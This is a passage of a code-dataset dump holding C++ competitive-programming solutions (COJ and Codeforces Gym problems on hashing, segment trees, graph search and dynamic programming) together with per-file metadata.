main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> a >> b;\r\n\tha[0] = hb[0] = C;\r\n\tPOW[0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tha[i] = ha[i - 1] * B + a[i - 1] - 'A';\r\n\t\thb[i] = hb[i - 1] * B + b[i - 1] - 'A';\r\n\t\tPOW[i] = POW[i - 1] * B;\r\n\t}\r\n\tint lo = 0, hi = n;\r\n\tull ans_len = 0;\r\n\tull ans_beg = 0;\r\n\tull ans_hash;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tbool ok = false;\r\n\t\tint cnt = 0;\r\n\t\tfor (int i = 0; i + mid <= n; i++) {\r\n\t\t\tv[cnt].first = get(ha, i, i + mid);\r\n\t\t\tv[cnt].second = i;\r\n\t\t\tcnt++;\r\n\t\t}\r\n\t\tsort(v, v + cnt);\r\n\t\tfor (int i = 0; i + mid <= n; i++) {\r\n\t\t\tull tmp = get(hb, i, i + mid);\r\n\t\t\tpp = *lower_bound(v, v + cnt, make_pair(tmp, -1));\r\n\t\t\tif (tmp == pp.first) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tif (mid > ans_len || (mid == ans_len && tmp != ans_hash && compare(ans_beg, i, mid))) {\r\n\t\t\t\t\tans_len = mid;\r\n\t\t\t\t\tans_beg = pp.second;\r\n\t\t\t\t\tans_hash = tmp;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < ans_len; i++) {\r\n\t\tcout << a[ans_beg + i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4498269855976105, "alphanum_fraction": 0.46712803840637207, "avg_line_length": 15, "blob_id": "89349f81a7f72106d9f656f0f92a70d5d458ce6b", "content_id": "5a6507965b2a2fea90128ef4c6610d0032bb59e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 289, "license_type": "no_license", "max_line_length": 77, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1122-Accepted-s525783.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\n\r\nint c;\r\ndouble n,r;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n for(int i=1; i<=c; i++)\r\n {\r\n scanf(\"%lf%lf\",&r,&n);\r\n printf(\"Scenario #%d:\\n%.3lf\\n\\n\",i,r*sin(M_PI/n)/(1.0+sin(M_PI/n)));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3956834673881531, "alphanum_fraction": 0.41151079535484314, "avg_line_length": 19.060606002807617, "blob_id": "46f863eefb6fa33a0fb1d1279fd22f4d10af5148", "content_id": "568eff1e3234400021a3de02063b81492b3e8dd0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 695, "license_type": "no_license", "max_line_length": 67, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2543-Accepted-s545016.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nvector<int> G[15];\r\ntypedef vector<int>::iterator viit;\r\nint n,k,p,x,ans;\r\n\r\nint main()\r\n{\r\n\tG[0].push_back(0);\r\n\r\n\twhile(scanf(\"%d%d%d\",&n,&k,&p)==3)\r\n {\r\n for(int i=1; i<=n; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n for(int j=min(i,k); j; j--)\r\n for(viit it=G[j-1].begin(); it!=G[j-1].end(); it++)\r\n G[j].push_back(*it+x);\r\n }\r\n\r\n for(viit it=G[k].begin(); it!=G[k].end(); it++)\r\n if(__gcd(p,*it)!=1)ans++;\r\n\r\n printf(\"%d\\n\",ans);\r\n\r\n ans=0;\r\n for(int i=1; i<=k; i++)\r\n G[i].clear();\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3982502818107605, "alphanum_fraction": 0.4313427209854126, "avg_line_length": 21.899999618530273, "blob_id": "26573e6a95f53d922ec6656afe0f9f14c8ebfd1f", "content_id": "33984adcb019ed4531d2070ee34c938d76d47a77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2629, "license_type": "no_license", "max_line_length": 86, "num_lines": 110, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/J4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> par;\r\n\r\nconst int MAXN = 200100;\r\n\r\nint X1[MAXN], X2[MAXN], Y1[MAXN], Y2[MAXN];\r\n\r\nvector<int> qs[MAXN];\r\nvector<int> upd[MAXN];\r\n\r\nint st[4*MAXN];\r\n\r\nvoid upd_st( int nod, int l, int r, int p, int v ){\r\n if( l == r ){\r\n st[nod] = max( st[nod] , v );\r\n return;\r\n }\r\n\r\n int ls = nod*2, rs = ls + 1;\r\n int mid = ( l + r ) / 2;\r\n\r\n if( p <= mid ){\r\n upd_st( ls , l , mid , p , v );\r\n }\r\n else{\r\n upd_st( rs , mid+1 , r , p , v );\r\n }\r\n\r\n st[nod] = max( st[ls] , st[rs] );\r\n}\r\n\r\nint query_st( int nod, int l, int r, int lq, int rq ){\r\n if( l > rq || r < lq ){\r\n return 0;\r\n }\r\n\r\n if( lq <= l && r <= rq ){\r\n return st[nod];\r\n }\r\n\r\n int ls = nod*2, rs = ls + 1;\r\n int mid = ( l + r ) / 2;\r\n\r\n return max( query_st( ls , l , mid , lq , rq ) ,\r\n query_st( rs , mid+1 , r , lq , rq ) );\r\n}\r\n\r\n\r\nint sol[MAXN];\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n int n; cin >> n;\r\n\r\n vector<int> coord1;\r\n vector<int> coord2;\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n cin >> X1[i] >> X2[i] >> Y1[i] >> Y2[i];\r\n coord1.push_back( X1[i] );\r\n coord1.push_back( X2[i] );\r\n\r\n coord2.push_back( Y1[i] );\r\n coord2.push_back( Y2[i] );\r\n }\r\n\r\n sort( coord1.begin() , coord1.end() );\r\n coord1.erase( unique( coord1.begin() , coord1.end() ) , coord1.end() );\r\n\r\n sort( coord2.begin() , coord2.end() );\r\n coord2.erase( unique( coord2.begin() , coord2.end() ) , coord2.end() );\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n X1[i] = lower_bound( coord1.begin() , coord1.end() , X1[i] ) - coord1.begin();\r\n X2[i] = lower_bound( coord1.begin() , coord1.end() , X2[i] ) - coord1.begin();\r\n\r\n Y1[i] = lower_bound( coord2.begin() , coord2.end() , Y1[i] ) - coord2.begin();\r\n Y2[i] = lower_bound( coord2.begin() , coord2.end() , Y2[i] ) - coord2.begin();\r\n\r\n qs[ X1[i] ].push_back(i);\r\n upd[ X2[i]+1 ].push_back(i);\r\n }\r\n\r\n int maxX = coord1.size();\r\n int maxY = coord2.size();\r\n\r\n int ans = 0;\r\n\r\n for( int x = 0; x <= maxX; x++ ){\r\n for( int j = 0; j < upd[x].size(); j++ ){\r\n int e = upd[x][j];\r\n upd_st( 1 , 0 , maxY , Y2[e] , sol[e] );\r\n }\r\n\r\n for( int j = 0; j < qs[x].size(); j++ ){\r\n int e = qs[x][j];\r\n sol[e] = query_st( 1 , 0 , maxY , 0 , Y1[e] ) + 1;\r\n ans = max( ans , sol[e] );\r\n }\r\n }\r\n\r\n cout << ans << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.40581396222114563, "alphanum_fraction": 0.4430232644081116, "avg_line_length": 15.86274528503418, "blob_id": "ef3f481572cfbcbafa511ead4501d31f19a71125", "content_id": "395fe253e66b900ef84bc6c216d17162475f6701", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 860, "license_type": "no_license", "max_line_length": 58, "num_lines": 51, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXN = 1010;\n\npar x[MAXN];\npar y[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\n\tint n; cin >> n;\n\n\tint X = 0;\n\tint Y = 0;\n\n\tfor( int i = 1; i <= n; i++ ){\n cin >> x[i].first;\n x[i].second = i;\n X += x[i].first;\n\t}\n\n\n\tfor( int i = 1; i <= n; i++ ){\n cin >> y[i].first;\n y[i].second = i;\n Y += y[i].first;\n\t}\n\n\tif( X > Y ){\n sort( x + 1 , x + n + 1 );\n sort( y + 1 , y + n + 1, greater<par>() );\n\t}\n\telse{\n sort( y + 1 , y + n + 1 );\n sort( x + 1 , x + n + 1 , greater<par>() );\n\t}\n\n\tfor( int i = 1; i <= n; i++ ){\n cout << x[i].second << ' ' << y[i].second << '\\n';\n\t}\n}\n" }, { "alpha_fraction": 0.41896024346351624, "alphanum_fraction": 0.4373088777065277, "avg_line_length": 21.214284896850586, "blob_id": "7922991907eb04216212d5aa2b6130d65c03d336", "content_id": "1fcb84107dd48fa803a71fd07ce13f2b5c8b0783", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 327, "license_type": "no_license", "max_line_length": 59, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2799-Accepted-s615862.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nint a, b, c;\r\n\r\nint main() {\r\n\tcin >> a >> b >> c;\r\n\tif (a + b + c == 180 && a > 0 && b > 0 && c > 0) {\r\n\t\tif (a == b && b == c) cout << \"Equilateral\\n\";\r\n\t\telse if (a != b && b != c && c != a) cout << \"Scalene\\n\";\r\n\t\telse cout << \"Isosceles\\n\";\r\n\t}\r\n\telse cout << \"Error\\n\";\r\n}\r\n\r\n" }, { "alpha_fraction": 0.38958990573883057, "alphanum_fraction": 0.4069400727748871, "avg_line_length": 16.647058486938477, "blob_id": "b585e04887e8935bb53921297a36bea05eb274d7", "content_id": "fb4c6e0fcbe1e17c24e821729b615d9f5139f953", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 634, "license_type": "no_license", "max_line_length": 40, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p1593-Accepted-s575964.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 10100;\r\n\r\nint c,n,dp[MAXN],sol;\r\npair<int,int> a[MAXN];\r\n\r\nint main()\r\n{\r\n\tfor ( scanf( \"%d\", &c ); c--; )\r\n\t{\r\n\t\tscanf( \"%d\", &n );\r\n\r\n\t\tfor ( int i = 0, x, y, z; i < n; i++ )\r\n\t\t{\r\n\t\t\tscanf( \"%d%d%d\", &x, &y, &z );\r\n\t\t\ta[i] = make_pair( y, y + z );\r\n\t\t}\r\n\t\tsort( a, a + n );\r\n\t\tint sol = 0;\r\n\t\tfor ( int i = 0; i < n; i++ )\r\n\t\t{\r\n\t\t\tdp[i] = 1;\r\n\t\t\tfor ( int j = 0; j < i; j++ )\r\n\t\t\t\tif ( a[j].second <= a[i].first )\r\n\t\t\t\t\tdp[i] = max( dp[i], dp[j] + 1 );\r\n\t\t\tsol = max( sol, dp[i] );\r\n\t\t}\r\n\t\tprintf( \"%d\\n\", sol );\r\n\t\tif( c ) printf( \"\\n\" );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37933817505836487, "alphanum_fraction": 0.4043583571910858, "avg_line_length": 17.492536544799805, "blob_id": "c608c261fcb79fb111f0e915019e8494826ff820", "content_id": "e76076b11ff4fbbe7d7e3e54f52126792c23a3ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1239, "license_type": "no_license", "max_line_length": 58, "num_lines": 67, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 4000;\n\nvector<int> g[MAXN];\nint lev[MAXN];\nbool sol[MAXN];\n\nint cola[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\tint n,m; cin >> n >> m;\n\n\tfor( int i = 1; i <= m; i++ ){\n int u, v; cin >> u >> v;\n g[u].push_back(v);\n g[v].push_back(u);\n\t}\n\n\tint enq = 0, deq = 0;\n\n\tcola[enq++] = 1;\n\tlev[1] = 1;\n\n\twhile( enq - deq ){\n int u = cola[deq++];\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( !lev[v] ){\n lev[v] = lev[u] + 1;\n cola[enq++] = v;\n }\n }\n\t}\n\n\tfor( int i = enq-1; i >= 0; i-- ){\n int u = cola[i];\n for( int j = 0; j < g[u].size(); j++ ){\n int v = g[u][j];\n if( lev[v] > lev[u] ){\n if( !sol[v] ){\n sol[u] = true;\n break;\n }\n }\n }\n\t}\n\n\tif( sol[1] ){\n cout << \"Vladimir\\n\";\n\t}\n\telse{\n cout << \"Nikolay\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3316326439380646, "alphanum_fraction": 0.34601113200187683, "avg_line_length": 20.206186294555664, "blob_id": "5c03c36117cee8b78b8a89d0c6094b874a28681b", "content_id": "5f36f2cecaa87ecef2b65f454e0417e0f844d00f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2156, "license_type": "no_license", "max_line_length": 68, "num_lines": 97, "path": "/COJ/eliogovea-cojAC/eliogovea-p2681-Accepted-s596533.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// Copa UNISS - I\r\n\r\n#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <queue>\r\n#include <vector>\r\n#include <map>\r\n#include <set>\r\n#include <cstring>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n#define ll long long\r\n#define MAXN 1000000\r\n\r\nstruct pt\r\n{\r\n int x, y;\r\n pt (int a, int b) : x(a), y(b){}\r\n bool operator < (const pt &a) const\r\n {\r\n if (x != a.x) return x < a.x;\r\n return y < a.y;\r\n }\r\n};\r\n\r\nstruct recta\r\n{\r\n ll a, b, c;\r\n recta(ll x, ll y, ll z)\r\n {\r\n a = x; b = y; c = z;\r\n }\r\n bool operator < (const recta &r) const\r\n {\r\n if (a != r.a) return a < r.a;\r\n if (b != r.b) return b < r.b;\r\n return c < r.c;\r\n }\r\n};\r\n\r\nll x[1010], y[1010];\r\nmap<recta, set<int> > m;\r\n\r\nint main(){\r\n\r\n ll n, sol = 0;\r\n scanf(\"%lld\", &n);\r\n map<pt, int> S;\r\n for (int i = 0; i < n; i++)\r\n {\r\n scanf(\"%lld%lld\", &x[i], &y[i]);\r\n S[pt(x[i], y[i])]++;\r\n for (int j = 0; j < i; j++)\r\n {\r\n ll aa = y[i] - y[j];\r\n ll bb = x[j] - x[i];\r\n ll cc = y[j] * (x[i] - x[j]) - x[j] * (y[i] - y[j]);\r\n\r\n if (aa < 0ll)\r\n {\r\n aa *= -1ll;\r\n bb *= -1ll;\r\n cc *= -1ll;\r\n }\r\n else if (aa == 0ll)\r\n {\r\n if (bb < 0ll)\r\n {\r\n bb *= -1ll;;\r\n cc *= -1ll;\r\n }\r\n else if (bb == 0ll)\r\n cc *= -1ll;\r\n }\r\n\r\n if (!(aa == 0ll && bb == 0ll && cc == 0ll))\r\n {\r\n ll g = __gcd(labs(aa), __gcd(labs(bb), labs(cc)));\r\n aa /= g;\r\n bb /= g;\r\n cc /= g;\r\n recta r(aa, bb, cc);\r\n m[r].insert(i);\r\n m[r].insert(j);\r\n sol = max(sol, (ll)m[r].size());\r\n }\r\n }\r\n }\r\n for (map<pt, int>::iterator it = S.begin(); it != S.end(); it++)\r\n sol = max(sol, (ll)it->second);\r\n printf(\"%lld\\n\", sol);\r\n}\r\n\r\n" }, { "alpha_fraction": 0.32602477073669434, "alphanum_fraction": 0.34699714183807373, "avg_line_length": 15.779661178588867, "blob_id": "6843dea05c58006f60302b08bcdcf120d6250f7e", "content_id": "7eeb3691342c127db82dcd91661872f1ae901ed4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1049, "license_type": "no_license", "max_line_length": 67, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p4054-Accepted-s1294969.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\r\n\tconst int A = 'Z' - 'A' + 1;\r\n\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\r\n\t\tstring s;\r\n\t\tcin >> s;\r\n\r\n\t\tvector <vector <int>> cnt(A, vector <int> (n + 1, 0));\r\n\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcnt[s[i] - 'A'][i + 1]++;\r\n\t\t}\r\n\r\n\t\tfor (int c = 0; c < A; c++) {\r\n\t\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\t\tcnt[c][i] += cnt[c][i - 1];\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tvector <vector <long long>> dp(n, vector <long long> (n, -1));\r\n\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tdp[i][i] = 0;\r\n\t\t}\r\n\r\n\t\tfor (int l = 2; l <= n; l++) {\r\n\t\t\tfor (int i = 0; i + l <= n; i++) {\r\n\t\t\t\tint j = i + l - 1;\r\n\t\t\t\tfor (int k = i; k <= j; k++) {\r\n\t\t\t\t\tlong long v = cnt[s[k] - 'A'][j + 1] - cnt[s[k] - 'A'][i] - 1;\r\n\t\t\t\t\tif (i < k) {\r\n\t\t\t\t\t\tv += dp[i][k - 1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (k < j) {\r\n\t\t\t\t\t\tv += dp[k + 1][j];\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (dp[i][j] == -1 || v < dp[i][j]) {\r\n\t\t\t\t\t\tdp[i][j] = v;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tcout << dp[0][n - 1] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42388060688972473, "alphanum_fraction": 0.4417910575866699, "avg_line_length": 21.928571701049805, "blob_id": "56a750a842acafccc32b5709c7e094d0d6aaae1e", "content_id": "2df903ac1ecbb9711f6656b7c30aa67140e9d57e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 335, "license_type": "no_license", "max_line_length": 62, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1726-Accepted-s465735.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\ndouble a,x,y,sol;\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n while(cin >> a >> x >> y ){\r\n sol=x*a/(2.0*(x+y));\r\n if(sol-int(sol)>=0.5)cout << int(sol)+1 << endl;\r\n else cout << int(sol) << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3744075894355774, "alphanum_fraction": 0.410426527261734, "avg_line_length": 20.934782028198242, "blob_id": "fb00fb167101ff0d3b691668d15a75b30504f173", "content_id": "2312d972b17592a4421a06fc2e72afe730c12cbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1055, "license_type": "no_license", "max_line_length": 103, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2476-Accepted-s902522.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long LL;\r\n\r\nLL gcd(LL a, LL b) {\r\n if (!b) return a;\r\n return gcd(b, a % b);\r\n}\r\n\r\nLL val[1005];\r\n\r\ninline LL calc(LL x) {\r\n //if (x <= 20) return val[x];\r\n\tif (x == 2) return 1ULL;\r\n\tif (x == 3) return 3ULL;\r\n\tLL cur = 6;\r\n\tLL res = 1 + (val[2] + 1ULL) * (x - x / 2ULL - 1ULL) + (val[3] + 1ULL) * (x / 2ULL - 1ULL - x / 6ULL);\r\n\tfor (int i = 4; i <= 1000; i++) {\r\n\t\tLL next = cur / gcd(cur, (LL)i) * (LL)i;\r\n\t\t//cout << i << \" \" << cur << \" \" << next << \"\\n\";\r\n\t\tres += (x / cur - x / next) * (val[i] + 1ULL);\r\n\t\t//cout << res << \"\\n\";\r\n\t\tif (cur / gcd(cur, (LL)i) > x / (LL)i) break;\r\n\t\tcur = next;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n val[2] = 1;\r\n for (int i = 3; i <= 1000; i++) {\r\n for (int j = 2; j < i; j++) {\r\n if (i % j) {\r\n val[i] = val[j] + 1;\r\n break;\r\n }\r\n }\r\n }\r\n\tLL a, b;\r\n\tcin >> a >> b;\r\n\tcout << calc(b) - calc(a - 1) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.431174099445343, "alphanum_fraction": 0.4615384638309479, "avg_line_length": 16.296297073364258, "blob_id": "e6dfedacf35866d2d9af602b01b1944fce6c06d2", "content_id": "21dbf5c0255b9961c2ed3bd4ecc1dc8daf386eb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 494, "license_type": "no_license", "max_line_length": 44, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2557-Accepted-s490278.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<functional>\r\nusing namespace std;\r\n\r\nint n,i,j,ans;\r\nlong long Q[100000],N[100000];\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n for(int k=0; k<n; k++)scanf(\"%d\",&Q[k]);\r\n for(int k=0; k<n; k++)scanf(\"%d\",&N[k]);\r\n\r\n sort(Q,Q+n,greater<int>());\r\n sort(N,N+n,greater<int>());\r\n\r\n\r\n while(i<n && j<n)\r\n {\r\n while(N[i]<=Q[j] && j<n)j++;\r\n if(j<n)ans++;\r\n i++;j++;\r\n }\r\n printf(\"%d\\n\",ans);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4194842278957367, "alphanum_fraction": 0.4372492730617523, "avg_line_length": 16.967391967773438, "blob_id": "e39f20813b64003031b0e43cc802b6c9a4a0ed1f", "content_id": "0f81f2f286adfc74343057c0a9a9809690d56bfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1745, "license_type": "no_license", "max_line_length": 71, "num_lines": 92, "path": "/COJ/eliogovea-cojAC/eliogovea-p2117-Accepted-s904043.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nstruct line {\r\n\tlong long m, n;\r\n\tlong long y(long long x) {\r\n\t\treturn m * x + n;\r\n\t}\r\n};\r\n\r\ninline long double inter(line a, line b) {\r\n\treturn (long double)(b.n - a.n) / (long double)(a.m - b.m);\r\n}\r\n\r\nstruct ConvexHullTrick {\r\n\tline ch[N];\r\n\tint size;\r\n\tvoid clear() {\r\n\t\tsize = 0;\r\n\t}\r\n\tvoid add(line l) {\r\n\t\twhile (size > 1 && inter(l, ch[size - 1]) < inter(l, ch[size - 2])) {\r\n\t\t\tsize--;\r\n\t\t}\r\n\t\tch[size++] = l;\r\n\t}\r\n\tlong long get_min(long long x) {\r\n\t\tint id = 0;\r\n\t\tint lo = 1;\r\n\t\tint hi = size - 1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tif (ch[mid].y(x) < ch[mid - 1].y(x)) {\r\n\t\t\t\tid = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn ch[id].y(x);\r\n\t}\r\n} CH;\r\n\r\nint n, k, x[N], w[N];\r\nlong long sw[N];\r\nlong long swx[N];\r\nlong long dp[N][N];\r\n\r\nbool read_case() {\r\n\tif (!(cin >> n >> k)) {\r\n\t\treturn false;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> x[i] >> w[i];\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nlong long solve() {\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tsw[i] = sw[i - 1] + w[i];\r\n\t\tswx[i] = swx[i - 1] + w[i] * x[i];\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tdp[1][i] = x[i] * sw[i - 1] - swx[i - 1];\r\n\t}\r\n\tlong long res = dp[1][n];\r\n\tfor (int i = 2; i <= k; i++) {\r\n\t\tCH.clear();\r\n\t\tfor (int j = i; j <= n; j++) {\r\n\t\t\tCH.add((line) {-sw[j - 1], swx[j - 1] + dp[i - 1][j - 1]});\r\n\t\t\tlong long val = CH.get_min(x[j]);\r\n\t\t\tdp[i][j] = val + x[j] * sw[j] - swx[j];\r\n\t\t}\r\n\t\tres = min(res, dp[i][n]);\r\n\t}\r\n\t/*for (int i = 1; i <= k; i++) {\r\n\t\tcout << i << \" \" << dp[i][n] << \"\\n\";\r\n\t}*/\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (read_case()) {\r\n\t\tcout << solve() << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4236760139465332, "alphanum_fraction": 0.43302181363105774, "avg_line_length": 11.458333015441895, "blob_id": "10811ea6f4a656bdb1da9ce7acf29d9b2cd58b29", "content_id": "eee17eda998d57543cc47973ff0725cb01fbb882", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 321, "license_type": "no_license", "max_line_length": 29, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2151-Accepted-s1029744.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tint mx = 0;\r\n\t\tint sum = 0;\r\n\t\twhile (n--) {\r\n\t\t\tint x;\r\n\t\t\tcin >> x;\r\n\t\t\tmx = max(mx, x);\r\n\t\t\tsum += x;\r\n\t\t}\r\n\t\tcout << sum - mx << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.29878970980644226, "alphanum_fraction": 0.3328290581703186, "avg_line_length": 23.03636360168457, "blob_id": "350f46ead6743801975fcdff0c2646b914c856ff", "content_id": "8d655185b7cfd4570070a88bfb5074e2589b1bbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1322, "license_type": "no_license", "max_line_length": 133, "num_lines": 55, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n ll A,B;\n while( cin >> A >> B , (A && B) ){\n map<ll,int> dicA , dicB;\n\n ll a = A, b = B;\n dicA[a] = 1;\n dicB[b] = 1;\n\n int step = 1;\n\n while( !dicA[b] && !dicB[a] ){\n step++;\n if( a != 1ll ){\n if( a % 2ll == 0ll ){\n a /= 2ll;\n }\n else{\n a = (3ll*a) + 1ll;\n }\n dicA[a] = step;\n }\n if( b != 1ll ){\n if( b % 2ll == 0ll ){\n b /= 2ll;\n }\n else{\n b = (3ll*b) + 